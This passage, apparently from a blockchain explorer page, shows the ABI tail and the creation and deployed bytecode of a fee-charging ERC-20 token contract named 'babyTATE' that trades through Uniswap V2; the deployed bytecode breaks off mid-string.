ayable","type":"function"},{"inputs":[],"name":"sellInitialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c805462ffffff191660011790553480156200001f575f80fd5b5060405180604001604052806008815260200167626162795441544560c01b8152506040518060400160405280600681526020016542455441544560d01b81525081600390816200007191906200067c565b5060046200008082826200067c565b5050506200009d620000976200044260201b60201c565b62000446565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190525f81905260116020527fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d6805460ff1916600117905569d3c21bcecceda100000090806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000135573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015b919062000748565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cd919062000748565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000218573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023e919062000748565b6001600160a01b031660a08190525f908152601160205260409020805460ff1916600117905560a0516001600160a01b03165f908152601260205260409020805460ff1916600117905569021e19e0c9bab24000006009819055600b55681b1ae4d6e2ef500000600a55600880546001600160a01b03199081167340ae296bbf6bc3a13e43e33a3d998933f19fba531790915560078054909116732e5a0179937e73e3f9d6e60b70fd4417d95c3dd4179055620002fd30600162000497565b6200030c61dead600162000497565b6200032b620003236005546001600160a01b031690565b600162000497565b60085462000344906001600160a01b0316600162000497565b6007546200035d906001600160a01b0316600162000497565b305f908152601160205260409020805460ff1916600117905561dead5f5260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff19166001179055620003e6620003c36005546001600160a01b031690565b6001600160a01b03165f908152601160205260409020805460ff19166001179055565b6008546001600160a01b03165f908152601160205260409020805460ff191660011790556007546001600160a01b03165f908152601160205260409020805460ff191660011790556200043a3383620004f5565b50506200079d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260106020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620005505760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f82825462000563919062000777565b90915550506001600160a01b0382165f90815260208190526040812080548392906200059190849062000777565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200060857607f821691505b6020821081036200062757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005da57805f5260205f20601f840160051c81016020851015620006545750805b601f840160051c820191505b8181101562000675575f815560010162000660565b5050505050565b81516001600160401b03811115620006985762000698620005df565b620006b081620006a98454620005f3565b846200062d565b602080601f831160018114620006e6575f8415620006ce5750858301515b5f19600386901b1c1916600185901b17855562000740565b5f85815260208120601f198616915b828110156200071657888601518255948401946001909101908401620006f5565b50858210156200073457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6020828403121562000759575f80fd5b81516001600160a01b038116811462000770575f80fd5b9392505050565b808201808211156200079757634e487b7160e01b5f52601160045260245ffd5b92915050565b60805160a051611ae1620007d45f395f61034d01525f8181610280015281816116670152818161171e015261175a0152611ae15ff3fe6080604052600436106101e9575f3560e01c80638a8c523c11610108578063bbc0c7421161009d578063d85ba0631161006d578063d85ba06314610388578063dd62ed3e14610550578063e2f4560514610594578063f2fde38b146105a9578063f8b45b05146105c8575f80fd5b8063bbc0c742146104fe578063c876d0b91461051c578063c8c8ebe41461053b578063cfa7159314610388575f80fd5b80639fccce32116100d85780639fccce321461047d578063a457c2d714610492578063a9059cbb146104b1578063b62496f5146104d0575f80fd5b80638a8c523c146104195780638da5cb5b1461042d5780638ea5220f1461044a57806395d89b4114610469575f80fd5b8063395093511161017e57806370a082311161014e57806370a082311461039c578063715018a6146103d0578063751039fc146103e657806375f0a874146103fa575f80fd5b8063395093511461031d57806349bd5a5e1461033c5780634a62bb651461036f5780636a486a8e14610388575f80fd5b806318160ddd116101b957806318160ddd146102ba5780631f3fed8f146102ce57806323b872dd146102e3578063313ce56714610302575f80fd5b806306fdde03146101f4578063095ea7b31461021e5780630e14ebdc1461024d5780631694505e1461026f575f80fd5b366101f057005b5f80fd5b3480156101ff575f80fd5b506102086105dd565b60405161021591906117c8565b60405180910390f35b348015610229575f80fd5b5061023d610238366004611828565b61066d565b6040519015158152602001610215565b348015610258575f80fd5b50610261601e81565b604051908152602001610215565b34801561027a575f80fd5b506102a27f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610215565b3480156102c5575f80fd5b50600254610261565b3480156102d9575f80fd5b50610261600d5481565b3480156102ee575f80fd5b5061023d6102fd366004611852565b610683565b34801561030d575f80fd5b5060405160128152602001610215565b348015610328575f80fd5b5061023d610337366004611828565b610730565b348015610347575f80fd5b506102a27f000000000000000000000000000000000000000000000000000000000000000081565b34801561037a575f80fd5b50600c5461023d9060ff1681565b348015610393575f80fd5b50610261600181565b3480156103a7575f80fd5b506102616103b6366004611890565b6001600160a01b03165f9081526020819052604090205490565b3480156103db575f80fd5b506103e461076b565b005b3480156103f1575f80fd5b506103e46107a0565b348015610405575f80fd5b506007546102a2906001600160a01b031681565b348015610424575f80fd5b506103e46107fe565b348015610438575f80fd5b506005546001600160a01b03166102a2565b348015610455575f80fd5b506008546102a2906001600160a01b031681565b348015610474575f80fd5b5061020861083d565b348015610488575f80fd5b50610261600e5481565b34801561049d575f80fd5b5061023d6104ac366004611828565b61084c565b3480156104bc575f80fd5b5061023d6104cb366004611828565b6108e4565b3480156104db575f80fd5b5061023d6104ea366004611890565b60126020525f908152604090205460ff1681565b348015610509575f80fd5b50600c5461023d90610100900460ff1681565b348015610527575f80fd5b50600c5461023d9062010000900460ff1681565b348015610546575f80fd5b5061026160095481565b34801561055b575f80fd5b5061026161056a3660046118b2565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561059f575f80fd5b50610261600a5481565b3480156105b4575f80fd5b506103e46105c3366004611890565b6108f0565b3480156105d3575f80fd5b50610261600b5481565b6060600380546105ec906118e9565b80601f0160208091040260200160405190810160405280929190818152602001828054610618906118e9565b80156106635780601f1061063a57610100808354040283529160200191610663565b820191905f5260205f20905b81548152906001019060200180831161064657829003601f168201915b5050505050905090565b5f61067933848461098b565b5060015b92915050565b5f61068f848484610aae565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107185760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610725853385840361098b565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610679918590610766908690611935565b61098b565b6005546001600160a01b031633146107955760405162461bcd60e51b815260040161070f90611948565b61079e5f61131c565b565b6005546001600160a01b031633146107ca5760405162461bcd60e51b815260040161070f90611948565b600c805460ff191690556040517f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef905f90a1565b6005546001600160a01b031633146108285760405162461bcd60e51b815260040161070f90611948565b600c805461ff00191661010017905543600655565b6060600480546105ec906118e9565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156108cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161070f565b6108da338585840361098b565b5060019392505050565b5f610679338484610aae565b6005546001600160a01b0316331461091a5760405162461bcd60e51b815260040161070f90611948565b6001600160a01b03811661097f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161070f565b6109888161131c565b50565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070f565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260040161070f9061197d565b6001600160a01b038216610b365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070f565b805f03610b4d57610b4883835f61136d565b505050565b600c5460ff1615610eab576005546001600160a01b03848116911614801590610b8457506005546001600160a01b03838116911614155b8015610b9857506001600160a01b03821615155b8015610baf57506001600160a01b03821661dead14155b8015610bbe5750600f5460ff16155b15610eab57600c54610100900460ff16610c54576001600160a01b0383165f9081526010602052604090205460ff1680610c0f57506001600160a01b0382165f9081526010602052604090205460ff165b610c545760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b604482015260640161070f565b6001600160a01b0383165f9081526012602052604090205460ff168015610c9357506001600160a01b0382165f9081526011602052604090205460ff16155b15610d7257600954811115610cfd5760405162461bcd60e51b815260206004820152602a60248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152690dac2f0d2daeada40e8f60b31b606482015260840161070f565b600b5481610d1f846001600160a01b03165f9081526020819052604090205490565b610d299190611935565b1115610d6d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b610eab565b6001600160a01b0382165f9081526012602052604090205460ff168015610db157506001600160a01b0383165f9081526011602052604090205460ff16155b15610e1c57600954811115610d6d5760405162461bcd60e51b815260206004820152602b60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526a040dac2f0d2daeada40e8f60ab1b606482015260840161070f565b6001600160a01b0382165f9081526011602052604090205460ff16610eab57600b5481610e5d846001600160a01b03165f9081526020819052604090205490565b610e679190611935565b1115610eab5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b6001600160a01b0383165f9081526010602052604090205460ff1680610ee857506001600160a01b0382165f9081526010602052604090205460ff165b8015610efd57506001600160a01b0382163014155b8015610f1257506001600160a01b0383163014155b15610f1c57426014555b6001600160a01b0383165f9081526010602052604090205460ff168015610f71575060105f610f536005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b15610f8157610b4883838361149a565b6001600160a01b0383165f9081526010602052604090205460ff16158015610fc157506001600160a01b0382165f9081526010602052604090205460ff16155b15611042576001600160a01b0383165f9081526012602052604090205460ff1661101c576001600160a01b0383165f908152601360205260409020601454815461100b91906119c2565b600282015542600190910155611042565b6001600160a01b0382165f9081526013602052604081208054909103611040574281555b505b305f9081526020819052604081205460065490919061106290600a611935565b431090505f82600a541115905080801561107a575081155b80156110895750600f5460ff16155b80156110ad57506001600160a01b0386165f9081526012602052604090205460ff16155b80156110d157506001600160a01b0386165f9081526010602052604090205460ff16155b80156110f557506001600160a01b0385165f9081526010602052604090205460ff16155b1561111a57600f805460ff1916600117905561110f6114d2565b600f805460ff191690555b600f546001600160a01b0387165f9081526010602052604090205460ff9182161591168061115f57506001600160a01b0386165f9081526010602052604090205460ff165b1561116757505f5b5f8115611307578361124f576001600160a01b0388165f9081526012602052604090205460ff168015611198575060015b156112135760646111aa6001886119d5565b6111b491906119ec565b905060016111c281836119d5565b6111cc91906119ec565b600d5f8282546111dc9190611935565b90915550600190506111ee5f836119d5565b6111f891906119ec565b600e5f8282546112089190611935565b909155506112e99050565b6001600160a01b0387165f9081526012602052604090205460ff168015611238575060015b1561124a5760646111aa6001886119d5565b6112e9565b6001600160a01b0388165f9081526012602052604090205460ff161561129957606461127c6001886119d5565b61128691906119ec565b905080600d5f8282546112089190611935565b6001600160a01b0387165f9081526012602052604090205460ff16156112e95760646112c6601e886119d5565b6112d091906119ec565b905080600d5f8282546112e39190611935565b90915550505b80156112fa576112fa88308361136d565b61130481876119c2565b95505b61131288888861136d565b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166113935760405162461bcd60e51b815260040161070f9061197d565b6001600160a01b0383165f908152602081905260409020548181101561140a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161070f565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611440908490611935565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148c91815260200190565b60405180910390a350505050565b6001600160a01b038084165f908152602081905260408082208054858103909155928516825281208054849290611440908490611935565b305f908152602081905260408120545f600e54600d546114f29190611935565b90508115806114ff575080155b1561150957505050565b5f600a54601261151991906119d5565b905080831115611527578092505b824761153282611612565b5f61153d82476119c2565b90505f85600e548361154f91906119d5565b61155991906119ec565b5f600d819055600e8190556008546040519293506001600160a01b031691839181818185875af1925050503d805f81146115ae576040519150601f19603f3d011682016040523d82523d5f602084013e6115b3565b606091505b50506007546040519199506001600160a01b03169047905f81818185875af1925050503d805f8114611600576040519150601f19603f3d011682016040523d82523d5f602084013e611605565b606091505b5050505050505050505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061164557611645611a0b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116e59190611a1f565b816001815181106116f8576116f8611a0b565b60200260200101906001600160a01b031690816001600160a01b031681525050611743307f00000000000000000000000000000000000000000000000000000000000000008461098b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac947906117979085905f90869030904290600401611a3a565b5f604051808303815f87803b1580156117ae575f80fd5b505af11580156117c0573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b818110156117f4578581018301518582016040015282016117d8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610988575f80fd5b5f8060408385031215611839575f80fd5b823561184481611814565b946020939093013593505050565b5f805f60608486031215611864575f80fd5b833561186f81611814565b9250602084013561187f81611814565b929592945050506040919091013590565b5f602082840312156118a0575f80fd5b81356118ab81611814565b9392505050565b5f80604083850312156118c3575f80fd5b82356118ce81611814565b915060208301356118de81611814565b809150509250929050565b600181811c908216806118fd57607f821691505b60208210810361191b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561067d5761067d611921565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b8181038181111561067d5761067d611921565b808202811582820484141761067d5761067d611921565b5f82611a0657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a2f575f80fd5b81516118ab81611814565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a8a5784516001600160a01b031683529383019391830191600101611a65565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220aeb509b705cbc86f962604675cc92abb2866dce6ae762f3880d3cd4d19875e0264736f6c63430008170033

Deployed Bytecode

0x6080604052600436106101e9575f3560e01c80638a8c523c11610108578063bbc0c7421161009d578063d85ba0631161006d578063d85ba06314610388578063dd62ed3e14610550578063e2f4560514610594578063f2fde38b146105a9578063f8b45b05146105c8575f80fd5b8063bbc0c742146104fe578063c876d0b91461051c578063c8c8ebe41461053b578063cfa7159314610388575f80fd5b80639fccce32116100d85780639fccce321461047d578063a457c2d714610492578063a9059cbb146104b1578063b62496f5146104d0575f80fd5b80638a8c523c146104195780638da5cb5b1461042d5780638ea5220f1461044a57806395d89b4114610469575f80fd5b8063395093511161017e57806370a082311161014e57806370a082311461039c578063715018a6146103d0578063751039fc146103e657806375f0a874146103fa575f80fd5b8063395093511461031d57806349bd5a5e1461033c5780634a62bb651461036f5780636a486a8e14610388575f80fd5b806318160ddd116101b957806318160ddd146102ba5780631f3fed8f146102ce57806323b872dd146102e3578063313ce56714610302575f80fd5b806306fdde03146101f4578063095ea7b31461021e5780630e14ebdc1461024d5780631694505e1461026f575f80fd5b366101f057005b5f80fd5b3480156101ff575f80fd5b506102086105dd565b60405161021591906117c8565b60405180910390f35b348015610229575f80fd5b5061023d610238366004611828565b61066d565b6040519015158152602001610215565b348015610258575f80fd5b50610261601e81565b604051908152602001610215565b34801561027a575f80fd5b506102a27f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610215565b3480156102c5575f80fd5b50600254610261565b3480156102d9575f80fd5b50610261600d5481565b3480156102ee575f80fd5b5061023d6102fd366004611852565b610683565b34801561030d575f80fd5b5060405160128152602001610215565b348015610328575f80fd5b5061023d610337366004611828565b610730565b348015610347575f80fd5b506102a27f000000000000000000000000978ac4e91ce2b65d79867d4bcbd28f227574d54981565b34801561037a575f80fd5b50600c5461023d9060ff1681565b348015610393575f80fd5b50610261600181565b3480156103a7575f80fd5b506102616103b6366004611890565b6001600160a01b03165f9081526020819052604090205490565b3480156103db575f80fd5b506103e461076b565b005b3480156103f1575f80fd5b506103e46107a0565b348015610405575f80fd5b506007546102a2906001600160a01b031681565b348015610424575f80fd5b506103e46107fe565b348015610438575f80fd5b506005546001600160a01b03166102a2565b348015610455575f80fd5b506008546102a2906001600160a01b031681565b348015610474575f80fd5b5061020861083d565b348015610488575f80fd5b50610261600e5481565b34801561049d575f80fd5b5061023d6104ac366004611828565b61084c565b3480156104bc575f80fd5b5061023d6104cb366004611828565b6108e4565b3480156104db575f80fd5b5061023d6104ea366004611890565b60126020525f908152604090205460ff1681565b348015610509575f80fd5b50600c5461023d90610100900460ff1681565b348015610527575f80fd5b50600c5461023d9062010000900460ff1681565b348015610546575f80fd5b5061026160095481565b34801561055b575f80fd5b5061026161056a3660046118b2565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561059f575f80fd5b50610261600a5481565b3480156105b4575f80fd5b506103e46105c3366004611890565b6108f0565b3480156105d3575f80fd5b50610261600b5481565b6060600380546105ec906118e9565b80601f0160208091040260200160405190810160405280929190818152602001828054610618906118e9565b80156106635780601f1061063a57610100808354040283529160200191610663565b820191905f5260205f20905b81548152906001019060200180831161064657829003601f168201915b5050505050905090565b5f61067933848461098b565b5060015b92915050565b5f61068f848484610aae565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156107185760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610725853385840361098b565b506001949350505050565b335f8181526001602090815260408083206001600160a01b03871684529091528120549091610679918590610766908690611935565b61098b565b6005546001600160a01b031633146107955760405162461bcd60e51b815260040161070f90611948565b61079e5f61131c565b565b6005546001600160a01b031633146107ca5760405162461bcd60e51b815260040161070f90611948565b600c805460ff191690556040517f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef905f90a1565b6005546001600160a01b031633146108285760405162461bcd60e51b815260040161070f90611948565b600c805461ff00191661010017905543600655565b6060600480546105ec906118e9565b335f9081526001602090815260408083206001600160a01b0386168452909152812054828110156108cd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161070f565b6108da338585840361098b565b5060019392505050565b5f610679338484610aae565b6005546001600160a01b0316331461091a5760405162461bcd60e51b815260040161070f90611948565b6001600160a01b03811661097f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161070f565b6109888161131c565b50565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070f565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ad45760405162461bcd60e51b815260040161070f9061197d565b6001600160a01b038216610b365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070f565b805f03610b4d57610b4883835f61136d565b505050565b600c5460ff1615610eab576005546001600160a01b03848116911614801590610b8457506005546001600160a01b03838116911614155b8015610b9857506001600160a01b03821615155b8015610baf57506001600160a01b03821661dead14155b8015610bbe5750600f5460ff16155b15610eab57600c54610100900460ff16610c54576001600160a01b0383165f9081526010602052604090205460ff1680610c0f57506001600160a01b0382165f9081526010602052604090205460ff165b610c545760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b604482015260640161070f565b6001600160a01b0383165f9081526012602052604090205460ff168015610c9357506001600160a01b0382165f9081526011602052604090205460ff16155b15610d7257600954811115610cfd5760405162461bcd60e51b815260206004820152602a60248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152690dac2f0d2daeada40e8f60b31b606482015260840161070f565b600b5481610d1f846001600160a01b03165f9081526020819052604090205490565b610d299190611935565b1115610d6d5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b610eab565b6001600160a01b0382165f9081526012602052604090205460ff168015610db157506001600160a01b0383165f9081526011602052604090205460ff16155b15610e1c57600954811115610d6d5760405162461bcd60e51b815260206004820152602b60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526a040dac2f0d2daeada40e8f60ab1b606482015260840161070f565b6001600160a01b0382165f9081526011602052604090205460ff16610eab57600b5481610e5d846001600160a01b03165f9081526020819052604090205490565b610e679190611935565b1115610eab5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161070f565b6001600160a01b0383165f9081526010602052604090205460ff1680610ee857506001600160a01b0382165f9081526010602052604090205460ff165b8015610efd57506001600160a01b0382163014155b8015610f1257506001600160a01b0383163014155b15610f1c57426014555b6001600160a01b0383165f9081526010602052604090205460ff168015610f71575060105f610f536005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b15610f8157610b4883838361149a565b6001600160a01b0383165f9081526010602052604090205460ff16158015610fc157506001600160a01b0382165f9081526010602052604090205460ff16155b15611042576001600160a01b0383165f9081526012602052604090205460ff1661101c576001600160a01b0383165f908152601360205260409020601454815461100b91906119c2565b600282015542600190910155611042565b6001600160a01b0382165f9081526013602052604081208054909103611040574281555b505b305f9081526020819052604081205460065490919061106290600a611935565b431090505f82600a541115905080801561107a575081155b80156110895750600f5460ff16155b80156110ad57506001600160a01b0386165f9081526012602052604090205460ff16155b80156110d157506001600160a01b0386165f9081526010602052604090205460ff16155b80156110f557506001600160a01b0385165f9081526010602052604090205460ff16155b1561111a57600f805460ff1916600117905561110f6114d2565b600f805460ff191690555b600f546001600160a01b0387165f9081526010602052604090205460ff9182161591168061115f57506001600160a01b0386165f9081526010602052604090205460ff165b1561116757505f5b5f8115611307578361124f576001600160a01b0388165f9081526012602052604090205460ff168015611198575060015b156112135760646111aa6001886119d5565b6111b491906119ec565b905060016111c281836119d5565b6111cc91906119ec565b600d5f8282546111dc9190611935565b90915550600190506111ee5f836119d5565b6111f891906119ec565b600e5f8282546112089190611935565b909155506112e99050565b6001600160a01b0387165f9081526012602052604090205460ff168015611238575060015b1561124a5760646111aa6001886119d5565b6112e9565b6001600160a01b0388165f9081526012602052604090205460ff161561129957606461127c6001886119d5565b61128691906119ec565b905080600d5f8282546112089190611935565b6001600160a01b0387165f9081526012602052604090205460ff16156112e95760646112c6601e886119d5565b6112d091906119ec565b905080600d5f8282546112e39190611935565b90915550505b80156112fa576112fa88308361136d565b61130481876119c2565b95505b61131288888861136d565b5050505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166113935760405162461bcd60e51b815260040161070f9061197d565b6001600160a01b0383165f908152602081905260409020548181101561140a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161070f565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290611440908490611935565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148c91815260200190565b60405180910390a350505050565b6001600160a01b038084165f908152602081905260408082208054858103909155928516825281208054849290611440908490611935565b305f908152602081905260408120545f600e54600d546114f29190611935565b90508115806114ff575080155b1561150957505050565b5f600a54601261151991906119d5565b905080831115611527578092505b824761153282611612565b5f61153d82476119c2565b90505f85600e548361154f91906119d5565b61155991906119ec565b5f600d819055600e8190556008546040519293506001600160a01b031691839181818185875af1925050503d805f81146115ae576040519150601f19603f3d011682016040523d82523d5f602084013e6115b3565b606091505b50506007546040519199506001600160a01b03169047905f81818185875af1925050503d805f8114611600576040519150601f19603f3d011682016040523d82523d5f602084013e611605565b606091505b5050505050505050505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061164557611645611a0b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116e59190611a1f565b816001815181106116f8576116f8611a0b565b60200260200101906001600160a01b031690816001600160a01b031681525050611743307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461098b565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906117979085905f90869030904290600401611a3a565b5f604051808303815f87803b1580156117ae575f80fd5b505af11580156117c0573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b818110156117f4578581018301518582016040015282016117d8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610988575f80fd5b5f8060408385031215611839575f80fd5b823561184481611814565b946020939093013593505050565b5f805f60608486031215611864575f80fd5b833561186f81611814565b9250602084013561187f81611814565b929592945050506040919091013590565b5f602082840312156118a0575f80fd5b81356118ab81611814565b9392505050565b5f80604083850312156118c3575f80fd5b82356118ce81611814565b915060208301356118de81611814565b809150509250929050565b600181811c908216806118fd57607f821691505b60208210810361191b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561067d5761067d611921565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f